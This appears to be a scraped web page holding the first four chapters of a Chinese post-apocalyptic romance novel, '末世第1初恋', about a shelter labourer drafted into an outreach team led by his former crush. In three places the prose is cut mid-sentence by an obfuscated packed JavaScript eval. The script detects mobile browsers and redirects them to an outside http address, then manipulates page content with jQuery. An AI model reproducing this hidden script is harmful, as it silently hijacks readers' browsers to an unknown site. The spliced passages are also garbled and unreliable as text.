《末世第1初恋》 1. 调任令 楼依然找进训练场时,陆小川正躺在篮球架底下午睡。 不少学员都知道他这个古怪的习惯。 他们不明白,农作区、公寓,就连训练场外的公厕都比这儿清净舒坦,陆小川却为何唯独钟爱这处吵闹的角落。 但他毕竟是避难所里最好说话的年轻人。 人力班成员生病时,只需叫上一句“川哥”,一日的工作便可交给他代办,还有他那个打从开设起就人满为患的格斗社,连续两年被居民评为“最容易赚取幸运币的活动社”。 受他恩惠的居民们无以为报,于是每逢周末,便总有好心人提前在篮球架上铺好软垫,供他课后小憩。 对此,陆小川从不过问。 他向来这样,不争不抢,但来者不拒。 “砰”、“砰!” 篮球一次次击上篮板,像极了心跳。 午后阳光刺眼,空气中弥漫着清新的桔子香气,陆小川舒舒服服地躺上瑜伽垫,将拳套罩在脸上,在十五米高的穹顶下合上了眼。 然而,就在梦境的边缘,白噪音戛然而止,球架不再震动,篮球撞地的砰砰声渐弱,听得陆小川有些着急。 那球就快落地了,难道没人接住它吗? 静寂中,唯一清晰的是皮鞋点地的“咣咣”声响。 铿锵有力的脚步声逐渐变得震耳欲聋,最后在篮球架旁停了下来。 训练场响起窃窃低语,陆小川拿开拳套,看到面前逆光站着一个女人,腰间的银枪在阳光下反射出刺目的光。 她居高临下注视着他,整张脸都埋在阴影里。 陆小川立马爬了起来。 倒不是因为害怕,只是眼下他被馆内一堆人盯着,实在不好磨蹭。 “好久不见。” 他简单问候了声。 准确地说,是两年。 这两年他过得不容易,除了耕不完的田和盖不完的楼,更难的是忘掉她,因为在这间三万人不到的避难所里,她实在是太有名了。 楼依然盯着陆小川半长不长的头发,从口袋里掏出一只信封,张开信纸用毫无感情的嗓音朗读起来。 “38号避难所民用部人力班陆小川,恭喜你加入外联队,并从今日起担任副队长一职,请于本周日到行政楼313号报道,现任队长会向你说明入队事宜......” ——“也就是,我。” 放下信纸,楼依然象征性地补充了句,然后将信纸连同信封塞进陆小川怀里。 训练场内响起稀稀拉拉的掌声,不少人想大声道贺,但有楼依然在,他们又不敢造次,剩余人的反应则和陆小川一样。 “搞错了吧?” 因场面实在尴尬,陆小川问话时声音很小。 其实刚才他就想说,不管楼依然要说的是什么事,最好还是找个没人的地方一对一面聊,可听到一半,陆小川又觉得她一定是搞错了。 “外联副队只能从现役队员里选吧?我连预备队员都不是......” 楼依然却好像没听到他的问题。 她将银枪拔出来在指间转了一圈,例行公事似地交代,“所长让我把这封信送到你的住处,但C区又脏又臭,我实在不想去,他们说你每周日在训练馆教课,我就顺路过来了。” 楼依然说话总是带刺,这一点陆小川早习惯了。 但他这两年都在混日子,感觉自己年老色衰,体魄不赶当年,去了多半只会被楼依然嫌弃。 比起被遗忘,他更不想被她讨厌。 于是,心中抱着一丝侥幸,陆小川试探性地问: “我......可以拒绝吗?” ——“啥?你小子敢对楼依然说不?!” 四小时后的C区食堂,人力班陶野听到这儿,不可置信地大叫起来。 “楼依然”三个字响起时,端着餐盘路过的居民下意识打了个寒颤。 “川儿哥,那可是楼队!连所长都惹不起的女人!” 陶野捏着勺子凑过来,一脸好奇地追问:“然后呢?然后楼队怎么说?” 陆小川低头扒拉着碗里的饭菜,“她好像被夺舍了,当着一群人的面念起了外联队宣传语,说加入外联队是每个幸存者至高无上的荣耀......” 陶野接着他将那一长段宣传语背完:“我们是避难所的灯塔,新世界的先驱,总有一天会带领幸存者走出围墙,续写人类灿烂的文明!”然后大手一挥,“略过,这些都略过,然后呢?你就同意了?” 陆小川咽下馒头:“她也没给我拒绝的机会啊,只说今晚会有人把装备和任务说明送达,然后就走了。” 说实话,陆小川当时还是有些得意的,楼依然态度坚决,像是真的很需要他,搞得他也不好意思再推辞,只能答应下来。 他在陶野面前装出一副无奈的样子,只是觉得这毕竟是跳槽,总不能抛弃了共苦的兄弟还得意洋洋。 陶野安静下来,托腮沉思了片刻,一脸凝重地将餐盘里的鸡腿夹到了陆小川碗里。 “我代表C区三万多名居民,先干为敬。” 他说着将手边的苏打水一饮而尽。 陶野的反应让陆小川松了一口气。 他既没嫉妒,也没感伤,而是提前为陆小川默起了哀,不愧是好兄弟。 “客气了。” 陆小川下午在训练场流尽了汗,眼下饿得很,迫不及待啃起了鸡腿。 整个过程中,陶野一直盯着他,像在看一个傻子。 陆小川自然知道外联队是干什么的,也清楚腰间别枪、住B区高层公寓需要付出的代价。 他们是避难所内为数不多直面过「变异体」的人,末日后,避难所居民只增不减,唯有外联队成员更迭频繁,死伤惨重。 但陆小川也见过墙外的怪物,虽然只有一次,但它们除了长相可怖,似乎也没什么致命的攻击性。 更重要的是,如果连楼依然那副身板都能在外联队挺过两年,他陆小川又有什么不行? 想到这儿,他对陶野挑眉一笑:“陶子,你川哥赶明儿就能配枪了。” 陶野看着面前神色妩媚的男人,嘴角不觉抽动了两下。 - 夜幕降临后,污水漫溢、垃圾遍地的C区看上去就像一座鬼城。 由于末日降临得十分突然,总部选择将旧世界一些外部围有高墙的园区、工厂或学校临行改装成收容幸存者的避难所。 38号避难所是在一间媒体产业园的基础上扩建的,绿化较好、设施齐全的地段成了如今的A区和B区。 C区改装自园区外部废弃的工厂,为了尽可能容纳更多的居民,楼房彼此间挨得很近,道路逼仄,为了赶工,不少地方甚至都没通电,居民需要步行到远处取水,入夜后,不少地段都是漆黑一片。 然而,相比建立初期、不少居民只能席地而睡的艰难境况,如果他们至少有房有瓦,在人力版成员日复一日的努力下,C区居民的生活确实在不断变好。 劳动有收获,日子有盼头,陆小川身处其中,早学会了知足常乐。 当晚,陆小川在返回住处的路上遇见了一个行迹可疑的女人,她背着与体型并不相称的巨大双肩包,站在耗子巷口东张西望。 此刻陆小川心情莫名愉悦,上前主动搭话:“同学,你新搬来的?” “啊,我找人。” 女人看上去只有二十岁左右,齐耳短发,驼背,杏眼灵动,见有人主动帮忙,便掏出口袋里的字条照读起来:“你认识......鼠街七开洞4号院201室的陆小川吗?” 陆小川立刻反应过来:“我就是,您是来送装备的?” 女人愣住两秒,随即挺直腰板行了个礼。 “副队好!我是外联补给组梁竹,叫我竹子就行,我来给您送装备,嘿,请拿好。” “叫我川哥就好。” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943300|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小川接过梁竹递来的双肩包,胳膊差点被拉折,他意识到梁竹体能极好,这背包足有二十斤重,她却还能背着它上蹿下跳,外联队果然不养闲人。 陆小川扯开背包细看的工夫,梁竹在他耳边念起了经:“枪上的保险出任务时才能解开,实弹出墙后统一分发,里头的《新世界宝典》请仔细阅读,衣服不合身的话我也没办法。” 梁竹说到这儿忽然噤声,见陆小川看过来,又坏笑着说:“哈哈,开玩笑的,不过调任令来得突然,上头还没来得及量您的尺寸,您先凑合穿着,后面会发新的。” 梁竹说完准备离开,她显然不是C区的人,但在这臭气熏天的地方呆了这么久,脸上也看不出一丝嫌弃,像是个好说话的人,陆小川于是叫住了她。 有了下午的经验,这次他提出的问题更具体了些。 “你们外联队最近是出了什么事吗?是这样的,我听说外联队的队长、副队长只会从现役成员中选拔,可我......” “您还不知道吗?” 梁竹瞪圆了眼,见陆小川一脸真诚,才想起下午被派去送信的是楼依然,于是展开笑容耐心解答:“按道理确实是这样,最近也确实没出什么事儿,上任副队牺牲有一阵子了......啊,不过您的调任令是总部直接签署的,我们也只是接到通知。” “总部?你是说......第13号避难所?” “正是!”梁竹深深点头,“今早通信部接到的消息,我们也是第一次遇到这种情况,您被破格选中,想必一定是有什么超乎常人的能耐吧!” 梁竹说完在陆小川结实的肩膀上拍了两下,蹦蹦跳跳地跑远了。 陆小川开始觉得这一切有些不对劲。 进入避难所后,他一直呆在民用部的人力班,除了连续两年全勤,每日按劳动指标耕田搬砖,期间也没什么杰出表现。 至于所长,他倒是见过一面。 那天他在推土机下头顺手救下一个孩子,所长得知他末日前参加过格斗俱乐部,便鼓励他成立一个格斗社团,可这点功绩,无论如何也不可能传到13号避难所。 第13号避难所是末日后灵川省选定的枢纽避难所,拥有与他省枢纽避难所联络的特权,但他们向来只参与所长竞选,从未插手外联副队长的选拔,所以...... ——梁竹一定在说谎。 选他作副队,大概率是楼依然的主意。 他毕竟是她大学时期的老熟人,还和她有着过命的交情,现在楼依然自己飞黄腾达了,自然要回过头来提携他一把。 回家路上,陆小川回想起楼依然宣读调任令时那张冷冰冰的脸,突然觉得背上的背包没那么沉了。 路过三号院时,那盏路灯又闪了闪,发出阵阵虚弱的嘶鸣,像在求救,于是陆小川下定决心:搬离这里前,他一定要修好这盏灯,还C区老乡一条明净的夜路。 他哼着小调打开了任务须知,发觉最近一次任务的执行日期是10月27日,地点是海棠区的荣华街道。 看着那串地名,陆小川眼里的光又逐渐暗了下来。 就像是一场醒不来的噩梦,此刻,他眼前又浮现起那个场景。 泛黄的老旧招牌写着“荣华面馆”四个字,前堂的桌椅被堆叠摆放在里屋门外,脚下的白瓷地砖裂开一道细缝,缝里嵌着已然干涸凝固的血…… “砰”、“砰!” 房门内不断传来碰撞的声响,然后,他看到楼依然从后厨走了出来,左手拿着一只喷火枪,右手拿着一瓶二锅头。 她十分冷静地对他说:“如果你还不愿意离开,我就这地方烧了。” 后来,他离开了,他以为这辈子都不会再回去,可是...... 等等。 陆小川将那张破纸放到昏暗的灯光下,再度朝执行日期那栏定睛看去。 10月27日? 那也就是......明天?? 2. 第一次任务(1) 公元2031年10月27日,末日降临后的第三年。 临出门前,陆小川将那把加装了消音器的QSZ手|枪擦得锃亮,又跑去陶野的房间,对着他那面巴掌大的镜子整理了下仪容。 由于没赶上年初的爱心剪,他的头发如今已长至肩头。 放在平时,为了省事,陆小川只会用饭盒上的皮筋随意在发尾一束。 但如今,他既然成了外联副队,每次出入避难所都要受到一众居民的检视,这发型多少显得邋遢了些,来日恐怕要破费十几个幸运币,到一号院好生打理一番。 临时分配的制服倒还算合身,上面有不少针线缝补过的痕迹,唯一让他不适的是肋下破损处尚未洗净的血迹,叫他忍不住联想这伤口出自谁手,又是否直接导致了上任主人的死亡。 除此之外,背包里还有一只巨大的保温杯、一套餐具、睡袋、药品和一只对讲机。 由于邻近区域已被净化,最近外联队执行任务的地点越来越远,常常要在墙外过夜,听起来瘆人,但一想到能再度睡在星空下,陆小川还是倍感期待。 由于外联队已有一月未出勤,这日一早,38号避难所出口处围满了送行的居民。 穿过人群时,陆小川瞧见不少熟面孔,有C区的邻居,人力班的兄弟,也有格斗社的学员。 一个姑娘举着字牌左右摇晃,上面写着“预祝小川教练初次任务凯旋!”,旁边几个皮肤黝黑的汉子则偷来了工地上的易拉宝,“C区之光”的标题边上写着歪歪扭扭的“陆小川”三个大字。 陆小川瞧准队首那个高挑的身影,昂首阔步走了过去,路过时不忘对“后援团”微笑挥手,右手落下时,又下意识在枪身上摩挲了两下。 物资队早已坐上装甲车待命,而在一众身穿黑色制服的外联队员中,他的队长分外显眼。 此刻,楼依然将一头长发利落束成马尾,单肩挂着背包,右手按在枪托上,望向陆小川的目光里带着几分不耐,见他走近,又迫不及待地转过身,将背包丢进了安检处。 “副队好,我叫田丰,现役外联补给组成员,你叫我大牛就好。” 队尾的蘑菇头男人率先问候,他有着小麦色的皮肤和黑牛一般壮硕的身材,弯腰时,日光一下子从他头顶倾泻而下,直起腰后,身躯又将朝阳一整个遮住。 站在田丰身边,梁竹娇小得像只羚羊。 “副队更喜欢别人叫他川哥,是吧?川儿哥。”她说着对陆小川飞了个媚眼。 “没错,大家都是前辈,不用这么客气。” 陆小川顺势介绍:“我是06年的,比我小就喊我川哥,比我大的话,叫我小川就好。” 他说着看向梁竹身后那名戴着黑框眼镜的中年男人,他显然比陆小川年长,隔着镜片也能瞧见眼角细密的皱纹,头戴贝雷帽,装扮神似旧世界的短视频编导,在一众年轻队员间格格不入。 眼睛男看上去有些拘谨,他挣扎了片刻还是没能将“小川”二字叫出口,只是低声说:“我叫林乐声,音乐的乐,声音的声,后援组组长,欢迎您加入外联队。” 林乐声身旁的年轻女人名叫尧子悦,她收着下巴抬眼打量陆小川,一看便是寡言内向的类型。 介绍完名字和职务,尧子悦拉过身后的一男一女,说他们是外联队的预备役成员,目前处于跟队观摩阶段,两人都只有二十出头,女的叫季小晴,男的叫齐思远。 陆小川一一问候过来,最后一次回头和送行的熟人招了招手,接着便走向了安检区。 每年冬季的外联入队选拔采取自愿制,由于入队后可以享用B区高层带有独立卫浴的单人公寓,因此吸引了不少年轻人参与选拔。 年纪大的居民一般不会凑这个热闹。 能在末日中幸存对他们来讲已经足够幸运,没道理再去墙外碰运气,就算仍有极少数富有冒险精神的中年人乐于参选,当中大部分也都由于速度、体能和敏捷方面的弱势在初选中被淘汰。 在人力班工作时,陆小川身边大多是灰头土脸的中年人,他们穿着统一的褐色布衫或白色防护服,身上带着生无可恋、能活一天是一天的牛马气息。 时隔两年,想到即将和一群朝气蓬勃的同龄人共度两天一夜的墙外生活,陆小川觉得自己瞬间年轻了不少。 他学着楼依然将背包丢进安检舱,展开双臂接受贴身检查,转过身时,瞧见外联队剩下的四名队员正凑成一堆开小会,不时抬眼瞟向他所在的方向。 陆小川听力很好,但隔着五米的距离,他只能通过唇语分辨出一两句。 尧子悦伸手比了个一,对面的梁竹则摇了摇头,伸手比了个三。 ——“三个月。” 她看着陆小川说。 紧接着,林乐声低沉的嗓音飘了过来:“他人看上去不错,你们不要这样。” “结束了。” 安检员的声音适时传来,陆小川事不关己地挑了下眉,拎起背包朝等在大门外的楼依然走了过去。 后者正靠在电摩上抽烟。 走近了,楼依然问他:“之前骑过吗?” “骑过,不过已经是三年前了。” 陆小川如实作答。 “这些是改装过的电摩,正常入队前都要试骑上一个月,你的调任令来得太突然,这次先坐我的车。” 楼依然微微偏了下头,语气中没有辩驳的余地。 “好啊。”陆小川欣然应下,看向楼依然的目光意味深长。 他不会揭穿她,就算问了,楼依然也一定会嘴硬,不肯承认招他入队是自己的主意。 陆小川在楼依然身前站定,时隔多年,光明正大地看她。 她如今依然美得不可方物,只是没了长发的修饰,下颌线更显锋利,目光流转时也没了昔日的风情,只剩冷漠。 两年前,听说楼依然要加入外联队时,陆小川本以为她坚持不了多久就会退队。 他一直觉得她是娇艳的玫瑰,孤芳自赏,受不住一点摧残,对于世界有着和他一样美好却不切实际的幻想,直到楼依然只花了半年时间就从预备成员晋升为队长,陆小川才不得不承认,她和自己没有一丁点相似之处。 是旧世界的条条框框限制了她的野心和手段,在新世界,楼依然无所不能。 即便如此,目睹楼依然吞吐烟雾时,陆小川还是忍不住劝了句,“抽烟不好。” 话音刚落,身后响起一阵“啧啧”声。 转过身,陆小川看到梁竹从那台别克S7中探出了头,她撇着嘴对陆小川一顿挤眉弄眼,而后转头看向驾驶位上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943301|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田丰,目光像在说“看吧,又一个猎物上钩了”。 一只头盔猝不及防落在陆小川头顶,楼依然在盔上按了两下,顺手给陆小川锁上卡扣,临了还附赠了一大簇烟灰。 目睹过这些,梁竹的嘴角更压不住了。 但这种反应才是正常的。 哪怕在新世界,人们也还是会将这种“招呼都不打就给异性戴头盔”的亲昵举动定义为逾矩或是暧昧,楼依然曾经很在意这种分寸感,但自从末日降临,她就变了。 “楼依然,走路就走路,不要动不动就拉我的手。” 两年前,从荣华面馆到避难所的路上,陆小川挣扎许久后,还是艰难开口,说出了这句话。 他当时心情实在低落,加上几天没洗澡,血浆混合汗液发酵成一种腐烂的臭鱼味儿,身体本能地抗拒他人的接近。 楼依然却没松手,她大步走在前头,头也不回地说,“你明明很享受”。 随后又跟上一句,“我想怎样就怎样。” 陆小川有些失语。 享受确实有,但那只是表象。 享受的背面还塞满了他无法克制的猜想、欲望,以及欲望附带的道德谴责,这些东西加起来,就不再是享受了。 那天,陆小川没有挣开楼依然的手,只是暗暗做好了决定。 那个决定迫使他填写了民用部的录用申请表,并在接下里的两年里,不再主动打听与楼依然有关的任何事。 可如今,他还是被一纸伪造的调任令拉回到了楼依然身边,在区区八个人组成的外联队里,被迫面对那张生人勿近的厌世脸,以及那些与她气质截然相反的心动陷阱。 昨晚,在那场久违的失眠里,陆小川决定转变一种心态。 既然他改变不了楼依然的作风,倒不如顺势而为,像楼依然自己说的那样,学着去享受。 38号避难所门前,送行居民的欢呼声被五米高的合金大门徐徐隔绝在身后。 陆小川抱着这样的决心坐上了那辆纯黑色的极核电摩,身子略微前倾时,能嗅到楼依然发上的薄荷香气。 但在她扭动钥匙的那刻,陆小川那双无处搁置的手还是乖巧地抓紧了坐垫,没勇气碰触楼依然的腰身。 清风久违地擦过脸庞,一瞬间拂走了心头全部的疑虑。 一排排货车迅速掠过,而后是陆小川熟悉的农田、种植棚,再往前的安全区内,忙于在废墟中重建大厦的、不少都是三天前还和他并肩劳动的人力班同事,但楼依然车速太快,没给陆小川辨认和问候的机会。 她戴着黑色的安全头盔,一马当先地疾行在他参与铺设的柏油路上,身后紧随由林乐声、尧子悦和两名实习生组成的电摩车队,梁竹和田丰驾驶别克负责压队,他们身后则是浩浩荡荡的物资队装甲车。 按照任务说明,若一切顺利,几小时后,装甲车上的人将深入外联队排查过的墙外区域,为避难所居民带回丰厚的物资,并设立围栏,以防止后续的变异体入侵。 而他们运回物资的质量与数量,将直接决定人类文明续写的长度。 在震耳欲聋的电钻声中,一阵频率更高的轰鸣异军突起。 陆小川抓紧坐垫回过头,眼看数十驾侦察无人机自装甲车顶徐徐升起,在漫天黄沙中卷起一场风暴…… 3. 第一次任务(2) 电摩驶离施工区后,眼前出现了久违的绿色。 不是旧世界那种星星点点的绿,而是大片大片的绿。 形态各异的藤蔓、野草冲破缝隙肆意生长,如海洋一般覆盖了旧世界的街道、楼房,在人类离开后再度征服了这片土地。 上一次走过这段路时,头顶压着阴云,脚下是开裂的柏油路,硝烟与尘沙将楼宇涂成乏味的昏黄,披着黑色长毛的寐鬼前倾身子在街边蹒跚而行,粘稠的吸盘与身下的黄土融为一体。 在当时的陆小川看来,那天的荒颓与末日降临时的疯狂一样,就像是链条碾碎后崩裂到支离破碎的华美浮雕,惨烈而又陌生,如同一场噩梦。 透过后视镜,楼依然误读了陆小川眼神里的怅然,扬起尾音问他:“你怕了?” 陆小川回过神来,抬高音量盖过风声,“没有,这里很美。” 他对后视镜里的楼依然笑了下,接着问:“这附近都是安全区?” “说不好,”楼依然将车筐里的平板丢给他,“所以要时刻盯着这个。” 无人机爬升至高空,噪声逐渐消淡,物资队的装甲车距离他们也有一段距离,打头阵的外联队驾驶的都是电车,四周因此静谧非常,除了不时窜过的野猫,视野里瞧不见任何活物。 陆小川不甚熟练地解锁了平板,按照《新世界宝典》上的说明点开寻踪APP,即时地图在三秒内渲染完毕,数不清的光点开始在屏幕上浮现。 陆小川傻了眼。 “这些......都是变异体?” “不然呢?” 楼依然反问道:“不过你只要留意红点就好,黄色大多是可控体,看到西北方向的聚集区了吗?” “西北?”陆小川将地图朝那个方向滑动了两下,一块嵌满黄色光点的区域随即出现在视野,叫他瞬间起了一身鸡皮。 “这......这地方是怎么回事?” 楼依然镇定自若,“寐鬼喜欢在待在地势低的地方,所以我叫工程队在那儿挖了个大坑,果不其然,没过几天,整个街区的寐鬼几乎都爬进去了。” 她说着挑起嘴角,透过后视镜看向陆小川。 “你身边要是有看不顺眼的,我可以帮你把他们也丢进去。” 陆小川立刻摇了摇头,“我身边没有那样的人。” 利用无人机抛洒标记粉末从而定位变异体的技术来自13号避难所。 一年前,这批装有寻踪APP的平板电脑、几十箱标记粉末和上百驾无人机被送至38号避难所,大大减轻了外联队出任务时所要面临的风险。 这些细如尘埃的标记粉末可以穿透玻璃、楼板吸附于物体表面,一旦物体进行移动,不管速度多慢,都会以光点的形式标注在地图上。 根据《新世界宝典》,现存的变异体主要分为「可控体」与「失控体」两种。 可控体移速缓慢,无攻击性,对于那些判定为可控的变异体,外联队一般不予理会,危险的是那些移速较快、且普遍具有攻击性的失控体,为了确保物资队能不被干扰地拣货运货,必要时清除失控体便是外联队的职责。 “有红点!”注意到不远处那颗疾速穿梭的醒目红点,陆小川直接大叫起来。 楼依然却没有减速,“你到底有没有认真看宝典?” 她问话的语气有些不耐,看到陆小川头盔下那双瞪得老大的眼,又只能缓下语气问:“是崇华街吧?那是「狗」,已经控制住了。” “狗?”陆小川立刻反应过来,“你是说,地头蛇?” 楼依然点头。 陆小川低头看过去,沿着红点的运动轨迹反复确认,发现它确实只在一定范围内活动,一颗悬着的心才终于放下。 半小时后,陆小川意识到如此大惊小怪的只有他一个。 抵达安全区边缘,陆小川与剩下六名队员再度聚首、准备徒步进入警备区,梁竹等人才慢悠悠地掏出平板,按下了开机键。 相比轻装简行的楼依然与陆小川,剩余队员都背着高过头顶的巨型背包,林乐声背上还挂着一只狙击枪,他身边的尧子悦则挂着一只火箭筒。 “川哥,你可得保护好我。” 经过陆小川时,梁竹拍了拍自己身上十厘米宽的背包肩带,“这里头的东西要是没了,咱们这两天就只能风餐露宿了。” “你别吓唬川哥。”天色瞬间暗了不少,田丰跟着走过来,对陆小川展开一个憨厚的笑容,“别信竹子的,车上还有备用的。” 两人一唱一和,叫气氛瞬间轻松了不少,梁竹说完,步伐轻快地兀自朝前走,可她肩上的背包看起来实在太沉,陆小川犹豫片刻,还是跟上问她需不需要帮忙,梁竹一愣,回身和田丰相视一笑。 “川哥,你知道我俩之前都是做什么的吗?”她拍着胸脯道:“我是拣货员,他是外卖员,我俩没别的能耐,但体能这一块,绝对是万里挑一。” 外卖员陆小川听过,但...... “我见识浅,敢问这拣货员是做什么的?” “就是在超市拣货的!”梁竹爽朗道:“你在手机上下个单,买了什么就由我来捡,捡好货统一拎到门口,等外卖员来取。” 梁竹还说,就是这项在旧世界没人瞧得起的履历,在选拔中给她加了不少分。 “除了体力好,一般超市里有什么、仓库用什么锁、钥匙在哪儿、货品又如何分区摆放,这些我都门儿清!超市就是我家,没人比我熟,川儿哥,一会儿你看我表演!” 梁竹说完吐了下舌头,又喋喋不休地和陆小川介绍起她之前工作的连锁超市,直到楼依然一个眼刀杀过来,叫他们安静一点。 「警备区」是外联队曾经涉足、却未能完全控制失控体的区域。 根据《新世界宝典》上的介绍,大部分失控体都拥有极强的听觉与嗅觉,电摩的气味会加强他们的攻击性,因此在进入警备区后,外联队员只能弃车步行,在路上也要尽量保持安静。 可梁竹消停了还没一会儿,又凑到陆小川耳边小声嘀咕起来。 “川哥,你运气不错。”她举着平板说:“看起来这里只有两条狗,没别的失控体。” 陆小川不解:“你说的是B02号变异体吧?宝典里管那东西叫‘地头蛇’,你们为什么都喊它‘狗’?” 梁竹:“因为它们就像狗一样啊,死守自己那一亩三分地,见到入侵者就发疯。” 完后又撇嘴补上一句,“待会你就知道了。” 听着梁竹的描述,陆小川心上莫名一阵悲凉。 旧世界分崩离析的那天,末日病毒无声在空气中扩散, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943302|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以欲望与恐惧为食,顺着血液,在幸存的人们体内生根发芽。 那一天,大部分人被恐惧侵蚀,祈祷能活过这场浩劫,于是,病毒顺应这种意志在他们体肤表面凝结出胶水一般粘稠的粘膜,催动毛发生长将他们的身体整个覆盖,意志彻底消散后,他们便成了缓慢蠕动的寐鬼。 外联队员将它们戏称为“龟龟”,因为它们行动缓慢,受身躯所累只能匍匐而行,并且顺应了意识消弭前最强烈的愿望,能够长命百岁。 哪怕在新世界,这些贪生怕死的变异体也是最无害的。 真正可怕的,是那些用欲望战胜了恐惧的人。 陆小川很难想象,在警报声响彻天际、人群四散奔逃时,仍有人惦记着名与利,不愿舍弃财富、权位或是其他什么东西,哪怕在毒雾消散后,它们也依然坚守在自己的领地,容不得外人染指分毫。 所以,所谓的“地头蛇”,在旧世界其实是和他一样的人类,这些人或许曾与他乘坐过同一班地铁,支持过同一支球队...... 更重要的是,托末日病毒的福,它们中不少,到现在依然还活着。 这些活着的变异者、曾经的同袍,如今却因为本能的攻击性被赋予了动物的名字。 无论地头蛇还是狗,这些代号之所以产生,只是为了让外联队在下手时不会感到罪恶。 对此,陆小川现在还是很难习惯。 “对了竹子,那个问题,你还没问过川哥。” 田丰雄厚的嗓音在耳边响起,陆小川深吸一口气,抬头看向他们。 “啊对。”梁竹露出整齐的白牙,问出那个问题后,林乐声等人也跟着好奇地围了上来。 ——“川哥,2029年9月3日,Y市1103号大楼爆炸的那天,你在做什么?” 像是一场突如其来的面试,陆小川被周围六双眼睛盯着,没来由地有些紧张。 “校友会。” 他下意识露出一个标志性的笑容,重复道:“我当时在参加Z大的校友会。” 出乎他意料的是,听到校友会三个字后,在场的六个人都怔住了。 “Z大校友会?” 尧子悦最先反应过来,眼神暗搓搓瞟向远处举着平板的楼依然,“楼队......当时好像也在参加校友会?” 陆小川瞬间明白过来。 “对,我当时和楼队在一起,我们是大学校友,两年前,我也是和她一起进入避难所的。” 话音未落,梁竹和田丰双双长大了嘴巴。 预备队员齐思远上前一步:“所以你和楼队之前就认识?她大学时也是这样吗?” 季小晴立马给了他一拳,笑容明媚地问:“你们关系很好吗?” 这个问题让陆小川犹豫了很久。 “关系......不算很近吧。”他右手在枪管上来回摩梭着,目光四下游离,“就是......认识,普通朋友那种。” 除了朋友,他确实找不出更合适的说法,能用以概括他和楼依然之间的关系。 总不能说他们之间是暗恋与被暗恋的关系吧? 据陆小川所知,无论在旧世界还是新世界,这都算不上什么正当关系。 哪怕他自己从不觉得丢人,哪怕楼依然一直知情,并且从未拒绝。 4. 第一次任务(3) 大四之前,陆小川一直认为暗恋才是他的舒适区,并且在这种关系中,他通常都能隐藏得极好。 直到那天在食堂,他最好的哥们蔡英达跑过来对他说:“川哥,那个......我想和楼依然表白,你没意见吧?” 那时陆小川才得知,他对楼依然的喜欢,在新闻二班已是件人尽皆知的事。 “别搞了,你每次上课都挑她斜后面的位子坐,课上还一直盯着她看,每天晚上她一路过球场你就像打了鸡血一样,还有前年运动会,谁看不出来你是为了替她解围才跑去举牌的?” 蔡英达对着陆小川啰里啰唆了一大串,后者摸着发烫的耳根“唔”了声,而后又抬高声量,理直气壮道:“咱们班男生不是都这样?” 他喜欢楼依然,这没什么好掩饰的,可他一直以为暗恋楼依然是新闻二班男同胞集体达成的共识,每年的生日会虽然都是他起头,可那些人送上的礼物个个都比他贵重,楼依然路过球场时,孔雀开屏的也远不止他一个。 在当时的陆小川看来,楼依然就像荷塘里的莲花,不论风吹雨打,都能安然浮于水面盛放,虽然那些年莲花成了心机女的代言,但陆小川实在找不出比这更合适的比喻。 而他,作为楼依然生命中一位不起眼的过客,只管站在远处静静欣赏便好。 包括他在内,任何人站在楼依然身边都只会污染了这片景致,蔡英达自然也不例外。 但那天,面对哥们儿真挚的请求,陆小川还是耸了耸肩道:“你试试呗。” 陆小川显然忽略了蔡英达的行动力。 几个小时后,蔡英达拉着陆小川到女生宿舍楼下摆了一圈蜡烛,然后举起喇叭,发布了他的告白宣言。 那段肉麻的台词陆小川如今一句都记不起来了,但他清楚地记得,楼依然穿着背带裤接过蔡英达递来的鲜花时,目光曾短暂地望向了他。 正如六年前新生报道日上的那场初遇,陆小川一直都觉得,他在楼依然心里有个特别的位置。 那天,在一众穿着运动服的体育生中间,楼依然唯独注意到了陆小川,她目不转睛地盯着他,而后乘着盛夏温湿的风翩翩而至,问他叫什么名字。 “我叫陆小川,同学你呢?” ——“楼依然。” 她说出这三个字的时候脸上没有多余的表情,唯有那双眼睛一眨不眨,眼波微微颤动...... 像是见到了一个苦寻已久的人,像是有一肚子的话想要对他说。 他们的故事就是从那一刻开始的。 所以,哪怕在那个人人痛骂“男凝”的时代,陆小川也不觉得他对楼依然的偏爱有何羞耻。 六年前的那天,是她率先看向了他。 剩下的时间里,他只是在回应,回应她那天的关注。 只是,大学四年,不知不觉中,这种回应竟成了他改不掉的习惯。 时隔六年,站在荣华街道茂密丛生的绿地中央,楼依然又一次走向他,这回,她的目光只在他脸上停留了片刻。 她低下头将他背包侧面的对讲机挂上腰带,在上面插上耳机线,而后动作粗暴地将耳麦塞进了陆小川的耳朵。 “行动开始了,都放机灵点儿。” 